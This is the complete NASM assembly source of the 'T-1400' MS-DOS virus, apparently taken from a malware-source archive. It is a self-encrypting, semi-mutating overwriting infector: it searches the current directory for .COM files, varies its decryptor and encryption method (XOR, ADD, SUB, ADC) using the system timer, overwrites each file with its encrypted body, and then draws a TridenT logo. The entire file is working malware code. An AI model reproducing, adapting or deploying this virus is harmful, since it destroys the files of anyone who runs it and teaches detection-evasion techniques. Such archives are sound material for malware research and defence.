MalwareSourceCode/MSDOS/T-Index/Virus.MSDOS.Unknown.t-1400.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

144 lines
3.8 KiB
NASM

;
; T-1400 Virus
;
; This is a non-resident overwriting self-encrypting semi-mutating .COM file
; infector. When an infected program is run, the virus will infect all the
; file in the current directory and displays a TridenT logo when finished with
; infecting. This is a bit more advanced virus than "T-1300" and a wildcard
; scanstring is needed to find this virus. It now utilizes three types of
; encryption, instead of only the XOR loop. it now utilizes ADD, ADC, SUB and
; SBB. the increment SI has now a new
; possibility, CMPSB.
;
Beg:
Mov Cx,MainLen
Length Equ $-2
S_1: Lea Si,Main
Zaken: Clc
Decrypt: Xor B [Si],0
CryptByte Equ $-1
S_2 Equ $-2
S_3: Inc Si
S_4: Loop Zaken
CryptLen Equ $-Beg
Main: Mov Ah,4eh
SeekNext: Lea Dx,FileSpec
Xor Cx,Cx
Int 21h
Jnc Yup
Jmp Einde
Yup: Mov Ax,3d02h
Mov Dx,09eh
Int 21h
Xchg Ax,Bx
Mov Ds,Cx
Inc Cx
Mov Ax,W Ds:[46ch]
Mov Ds,Cs
Mov B CryptByte,Ah
Mov B Zaken,0f8h
Mov B What,1
Mov B S_2,34h
Test Al,1
Jne NotXor
Test Al,32
Jne Done
Xor B Zaken,1
Jmp Done
NotXor: Mov B What,2
Mov B S_2,04h
Test Al,2
Je Done
Test Al,4
Je ItsAdc
Mov B What,3
Mov B S_2,2ch
Test Al,8
Je Done
Sub B S_2,20h
ItsAdc: Add B S_2,10h
Done: Mov B S_1,0beh
Cmp Ah,80h
Ja NoCMPSB
Mov B S_3,0A6h
Jmp Next
NoCMPSB: Mov B S_3,46h
Next: Test Ah,1
Jne NoReg
Xor B S_1,Cl
Xor B S_2,Cl
Cmp Ah,80h
Jbe NoReg
Xor B S_3,Cl
NoReg: Test Ah,2
Jne NoXor
Xor B Decrypt,2
NoXor: Test Ah,4
Jne NoLoop
Xor B S_4,2
NoLoop: Test Ah,8
Jne Ok
Mov B S_4,0E2h
Ok: Lea Si,Main
Lea Di,CryptPart
Mov Cx,MainLen
Push Cx
CodeIt: Lodsb
Cmp B What,1
Jne NeXor
Xor Al,Ah
Jmp Stor
NeXor: Cmp B What,2
Jne NeSub
Sub Al,Ah
Jmp Stor
NeSub: Add Al,Ah
Stor: Stosb
Loop CodeIt
Pop Cx
And Ax,03fffh
Add Cx,Ax
Mov W Length,Cx
Mov Ah,40h
Lea Dx,Beg
Mov Cx,CryptLen
Int 21h
Mov Ah,40h
Lea Dx,CryptPart
Mov Cx,MainLen
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp SeekNext
What Db 0
Einde:
Mov Al,3
Int 10h
Lea Si,Y
R: Lodsb
Mov Cl,8
C: Rol Al,1
Push Ax
Mov Al,32
If C Mov Al,219
Int 29h
Int 29h
Pop Ax
Loop C
Cmp Si,E
Jne R
Ret
Y: db 125,231,121,244,95,17,18,69,6,68,17,226,69,197,68,17,18,69,4,196,17,23,121,244,68
E:
FileSpec Db '*.COM',0
Msg Db 'T-1400'
MainLen Equ $-Main
CryptPart Equ $